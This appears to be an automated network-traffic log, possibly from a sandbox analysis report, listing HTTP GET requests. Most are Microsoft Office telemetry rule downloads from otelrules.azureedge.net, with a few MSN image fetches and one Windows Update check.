Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mplgGFYO8rDrOkg&MD=kno1x+AY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
